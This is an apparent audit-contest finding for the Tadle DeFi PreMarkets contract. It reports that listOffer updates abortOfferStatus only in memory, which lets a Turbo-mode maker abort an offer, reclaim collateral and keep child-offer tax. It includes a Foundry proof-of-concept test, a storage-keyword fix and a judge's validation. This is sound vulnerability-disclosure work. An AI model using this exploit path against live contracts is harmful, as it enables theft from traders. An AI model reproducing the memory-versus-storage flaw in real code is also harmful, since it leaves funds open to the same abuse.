Tadle
Tadle
DeFi
30,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

PreMarkets - Not updated `abortOfferStatus`

Hrom131

Summary

In the PreMarkets contract in the listOffer function, we do not update abortOfferStatus in the storage only inside memory variable.

Vulnerability Details

In the PreMarkets contract in the listOffer function, we do not update abortOfferStatus in the storage. In the following code section we update the data in the memory variable and do not save the new value to the storage anywhere:

/// @dev change abort offer status when offer settle type is turbo
if (makerInfo.offerSettleType == OfferSettleType.Turbo) {
address originOffer = makerInfo.originOffer;
OfferInfo memory originOfferInfo = offerInfoMap[originOffer];
​
if (_collateralRate != originOfferInfo.collateralRate) {
revert InvalidCollateralRate();
}
originOfferInfo.abortOfferStatus = AbortOfferStatus.SubOfferListed;
}

This vulnerability allows a maker, who created an ask offer with Turbo mode, to call the abortAskOffer function at any moment, get a refund, all the commission from child offers and he will not need to settle points afterwards.

Test code that demonstrates the vulnerability described above

To run the test, it is enough to put its code into PreMarkets.t.sol file

function test_not_updated_abortOfferStatus() public {
vm.startPrank(user);
​
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
10 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
vm.stopPrank();
​
address offerAddr = GenerateAddress.generateOfferAddress(0);
address stockAddr = GenerateAddress.generateStockAddress(0);
​
vm.startPrank(user1);
​
uint256 pointsToBuy = 500;
​
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(offerAddr, pointsToBuy);
​
address user1StockAddr = GenerateAddress.generateStockAddress(1);
​
preMarktes.listOffer(user1StockAddr, 11 * 1e18, 12000);
​
OfferInfo memory offerInfo = preMarktes.getOfferInfo(offerAddr);
​
console.log("AbortOfferStatus - ", uint8(offerInfo.abortOfferStatus)); // 0 - Initialized
​
vm.stopPrank();
​
vm.startPrank(user);
​
preMarktes.abortAskOffer(stockAddr, offerAddr);
​
vm.stopPrank();
}

Impact

Because abortOfferStatus has not been updated in the listOffer function, the user will be able to call abortAskOffer because abortOfferStatus will still be Initialized.

Thanks to this vulnerability, the maker will be able to get all commissions from child offers and abort the original offer at the last moment.

Tools Used

The bug was discovered through a manual audit of the contracts code. A unit test was written to test the validity of the vulnerability and demonstrate it.

Recommendations

Change originOfferInfo variable from memory to storage:

/// @dev change abort offer status when offer settle type is turbo
if (makerInfo.offerSettleType == OfferSettleType.Turbo) {
address originOffer = makerInfo.originOffer;
OfferInfo storage originOfferInfo = offerInfoMap[originOffer];
​
if (_collateralRate != originOfferInfo.collateralRate) {
revert InvalidCollateralRate();
}
originOfferInfo.abortOfferStatus = AbortOfferStatus.SubOfferListed;
}
Updates

Lead Judging Commences

0xnevi Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-listOffer-originIOfferInfo-storage-memory

Valid high severity, because the `abortOfferStatus` of the offer is not updated and persist through `storage` when listing an offer for turbo mode within the `offerInfoMap` mapping, it allows premature abortion given the `abortOfferStatus` defaults to `Initialized`, allowing the bypass of this [check](https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/PreMarkets.sol#L552-L557) here and allow complete refund of initial collateral + stealing of trade tax which can potentially be gamed for profits using multiple addresses

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.